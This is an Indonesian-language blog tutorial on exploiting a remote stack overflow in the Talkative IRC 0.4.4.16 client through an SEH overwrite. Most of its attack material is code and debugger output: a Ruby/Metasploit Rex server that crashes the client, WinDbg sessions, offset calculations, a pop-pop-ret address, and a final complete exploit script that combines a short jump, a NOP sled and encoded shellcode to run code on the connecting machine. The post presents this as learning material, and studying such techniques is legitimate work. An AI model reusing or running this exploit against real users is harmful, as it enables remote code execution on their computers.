Talkative IRC 0.4.4.16 Remote Stack Overflow

Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link ini. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software ini.

Dari milw0rm, kita tahu bahwa exploitasi talkative dengan memanfaatkan SEH overwrite. Crash dapat di-trigger dengan code berikut ini:

#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' => '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + "A" * 500 + " PRIVMSG " + "J" * 4 + " : /FINGER " + "K" * 8 + ".\r\n"
chld.put(crash)
sock.close

Dengan menggunakan windbg kita dapat melihat posisi berikut ini ketika crash terjadi:
(36c.4f4): Unknown exception - code 0eedfade (first chance)
ModLoad: 662b0000 66308000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wshtcpip.dll
(36c.7cc): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0 mov eax,dword ptr [eax-10h] ds:0023:41414131=????????

Kita bisa lihat bahwa crash terjadi di lokasi 0x004d8260. Crash mengakibatkan terjadinya suatu exception (access violation), berikut ini operasi yang menyebabkan terjadinya crash,

mov eax, dword ptr [eax-10h] ds:0023:41414131=????????

Pada posisi tersebut, nilai eax berisi karakter yang kita kirimkan (0x41414141) dan dalam operasi tersebut nilai dari pointer yang ditunjuk oleh [eax-10h] akan di masukan kedalam register eax. Namun karena nilai eax telah dimodifikasi melalui inputan server maka operasi tersebut menunjuk lokasi yang tidak valid (0x41414131) dan mengakibatkan suatu “access violation”.

SEH overwrite

Ketika exception tersebut terjadi maka sistem operasi akan menjalankan procedure SEH (Structure Exception Handler), yang secara default akan men-terminate aplikasi. Kita akan mencari tahu apakah inputan server sebelumnya juga dapat meng-overwrite SEH,
0:000> !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41414141
Invalid exception stack at 41414141

terlihat dengan jelas bahwa struktur SEH pun ikut termodifikasi. Dengan kata lain, exploitasi dapat dilakukan dengan memanfaatkan tehnik SEH overwrite (dengan catatan DEP disable dan aplikasi tidak di-compile menggunakan SafeSEH).

Walaupun dari exploit tersebut kita sudah mengetahui posisi offset berapa untuk overwrite SEH record serta Next SEH record, namun ada baiknya kita melakukan cross-check ulang sebagai bahan pembelajaran dengan asumsi hanya mengetahui advisories dari bug tersebut. Ada beberapa tools yang dapat digunakan, untuk saat ini kita akan menggunakan bantuan metasploit dan byakugan.

Pada code talkative_crash.rb diatas, ganti pattern untuk trigger crash yang semula 500 bytes karakter “A” dengan pattern metasploit.

crash = “:” + Rex::Text.pattern_create(500) + ” PRIVMSG ” + “J” * 4 + ” : /FINGER ” + “K” * 8 + “.\r\n”

Jalankan kembali talkative untuk connect ke server talkative_crash.rb, sesaat setelah crash maka kita akan analisis kembali menggunakan windbg.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0 mov eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu identBuf msfpattern crash 500 500
[J] Creating buffer crash.
0:000> !jutsu listBuf
[J] Currently tracked buffer patterns:
Buf: crash Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4
Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1
An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

0:000> !jutsu hunt
[J] Controlling eax with crash at offset 268.
[J] Found buffer crash @ 0x0012cf67
[J] Found buffer crash @ 0x001856ec - Victim of Unicode Conversion!
0:000> !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41326a41
Invalid exception stack at 316a4130

Dengan menggunakan byakugan, kita dapat membuat buffer yang memuat metasploit pattern seperti yang di generate oleh talkative_crash.rb. Kemudian dengan “!jutsu hunt” kita dapat mencari pada offset ke berapa dari buffer tersebut yang telah mengisi nilai general register / mengontrol nilai general register. Dalam classic stack-overflow biasanya ini digunakan untuk menentukan offset pengontrol EIP, namun sayangnya untuk SEH based exploit seperti contoh ini byakugan belum dapat menganalisis secara otomatis pattern yang telah mengoverwrite SEH record. Untuk itu kita lakukan secara manual.

Finding the offset

Next SEH record di-overwrite oleh karakter 0x41326a41, dan SEH record di-overwrite oleh karakter 0x316a4130. Dengan memahami bahwa arsitektur x86 adalah little endian, maka kita bisa mendapatkan string pattern dengan memanfaatkan bantuan dari tools semacam ini.

Hex: 30416a31, Ascii: 0Aj1

Hex: 416a3241, Ascii: Aj2A

Selanjutnya dengan bantuan “pattern_offset.rb” kita dapat menentukan pada offset keberapakah SEH record serta Next SEH record tersebut di-overwrite,

Snow:tools$ ./pattern_offset.rb 0Aj1 500
272
Snow:tools$ ./pattern_offset.rb Aj2A 500
276

Kesimpulan akhir didapat bahwa SEH record di-overwrite oleh karakter pada offset 272 sedangkan Next SEH record di-overwrite oleh karakter pada offset 276. Sebagaimana karakteristik SEH based exploit, kita akan mencari lokasi memory yang memuat opcode “pop pop ret”. Talkative tidak di-compile menggunakan /SafeSEH, sehingga binary dari Talkative itu sendiri dapat digunakan sebagai trampoline untuk opcode “pop pop ret”. Selain menggunakan binary dari aplikasi seperti talkative ini kita juga dapat menggunakan loadable module dari windows, namun berhubung tiap versi windows berbeda-beda dan setiap service pack akan mengakibatkan struktur yang berbeda pula maka akan jauh lebih baik menggunakan library yang di-load oleh aplikasi atau bahkan binary dari aplikasi itu sendiri.

Pop, pop, ret

Dalam hal talkative, pertama-tama kita akan mencari dari binary software itu sendiri. Immunity debugger memiliki beberapa feature untuk mendeteksi /SafeSEH maupun mencari opcode “pop pop ret” secara otomatis yang bebas dari /SafeSEH, diantara pyCommand yang dapat digunakan adalah pvefindaddr buatan Peter Van Echoutte. Berikut ini contoh penggunaannya,

“!pvefindaddr p” akan mencari opcode “pop pop ret” dari module-module yang di-load oleh aplikasi talkative namun tidak di-compile menggunakan /SafeSEH (SEH protection). Sayangnya opcode “pop pop ret” dari binary “talkative irc.exe” berada di lokasi memory yang terdapat karakter “00”, exploitasi akan memasukan lokasi memory tersebut sebagai string yang akibatnya dikenal sebagai “akhir dari string” sehingga tidak bisa digunakan. Untuk itu kita akan memilih lokasi memory lain, sebagai contoh:

pop esi
pop ebx
ret 04 at 0x72d1146b [msacm32.drv] Access: (PAGE_EXECUTE_READ)

Sehingga code dari talkative_crash.rb menjadi seperti berikut:
#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' => '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + Rex::Text.pattern_create(272) + "\xcc\xcc\xcc\xcc" + [0x72d1146b].pack('V') + " PRIVMSG " + "B" * 4 + " : /FINGER " + "C" * 8 + ".\r\n"
chld.put(crash)
sock.close

Setelah talkative_irc.exe crash maka akan diambil alih oleh SEH record, SEH record di tunjuk oleh Next SEH record yang berada di lokasi 0x72d1146b.

0:000> u 0x72d1146b
msacm32!wodMessage+0x241:
72d1146b 5f pop edi
72d1146c 5d pop ebp
72d1146d c21400 ret 14h

akibat dari “pop, pop, ret” eksekusi akan dibawa menuju lokasi SEH record yang dari code diatas diisi oleh “\xcc\xcc\xcc\xcc” (INT 3). Apabila dijalankan maka akan menghasilkan

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000008 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0 mov eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000> g
(c4.100): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=72d1146b edx=7c9032bc esi=00000000 edi=7c9032a8
eip=0012f1d0 esp=0012ecdc ebp=0012eda4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012f1d0 cc int 3

Kita akan mencari lokasi shellcode. Pada code talkative_crash sebelumnya kita bisa memasukan sebanyak 500 byte (karakter) untuk membuat crash, 272 byte sudah dipakai sebagai junk awal, 4 byte berikutnya dipakai untuk overwrite SEH record, 4 byte berikutnya dipakai untuk overwrite Next SEH record. Yang berarti byte setelahnya bisa digunakan untuk shellcode. Untuk itu kita akan coba ubah isi variable crash menjadi seperti berikut,

crash = “:” + Rex::Text.pattern_create(272) + “\xcc\xcc\xcc\xcc” + [0x72d1146b].pack(‘V’) + “A” * 500 + ” PRIVMSG ” + “B” * 4 + ” : /FINGER ” + “C” * 8 + “.\r\n”

Setelah SEH record dieksekusi, kita akan melihat deretan karakter “A” berada disekitar register EIP,
0:000> d eip
0012f1d0 cccccccc 72d1146b 41414141 41414141
0012f1e0 41414141 41414141 41414141 41414141
0012f1f0 41414141 41414141 41414141 41414141
0012f200 41414141 41414141 41414141 41414141
0012f210 41414141 41414141 41414141 41414141
0012f220 41414141 41414141 41414141 41414141
0012f230 41414141 41414141 41414141 41414141
0012f240 41414141 41414141 41414141 41414141
0:000> d
0012f250 41414141 41414141 41414141 41414141
0012f260 41414141 41414141 41414141 41414141
0012f270 41414141 41414141 41414141 41414141
0012f280 41414141 41414141 41414141 41414141
0012f290 41414141 41414141 41414141 41414141
0012f2a0 41414141 41414141 41414141 41414141
0012f2b0 41414141 41414141 41414141 41414141
0012f2c0 41414141 41414141 41414141 41414141
0:000> d
0012f2d0 41414141 41414141 41414141 41414141
0012f2e0 41414141 41414141 41414141 41414141
0012f2f0 41414141 41414141 41414141 41414141
0012f300 41414141 41414141 41414141 41414141
0012f310 41414141 41414141 41414141 41414141
0012f320 41414141 41414141 41414141 41414141
0012f330 41414141 41414141 41414141 41414141
0012f340 41414141 41414141 41414141 41414141

Ini adalah tipikal SEH based exploitation. Dengan cukup memasukan opcode “jump short” beberapa byte kedepan saat overwrite SEH record maka shellcode dapat dieksekusi (shellcode menggantikan posisi “A” * 500). Kita bisa menggunakan jump short 6 byte kedepan, namun untuk membuat exploit lebih reliable maka biasanya diletakan NOP sled sebelum shellcode. Pada exploit kita akan meletakan 20 NOP sled sebelum akhirnya shellcode yang sebenarnya. Berikut ini talkative_spl0it.rb,

#!/usr/bin/env ruby

msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# define server parameter
server_param = { 'LocalPort' => '6667' }
# create the server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# exec= calc.exe
shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"+
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"+
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"+
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"+
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"+
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"+
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"+
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"+
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"+
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"+
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"+
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"+
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"+
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"+
"\x4e\x36\x43\x46\x42\x50\x5a"

# SEH Based Exploit
spl0it = ":" + Rex::Text.pattern_create(272) + Rex::Arch::X86.jmp_short(6) + "\x90\x90" + [0x72d1146b].pack('V') + "\x90" * 20 + shellcode + "\x90" * 10 + " PRIVMSG " + "A" * 4 + " : /FINGER " + "B" * 8 + ".\r\n"
chld.put(spl0it)
sock.close

Dan inilah hasilnya,

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s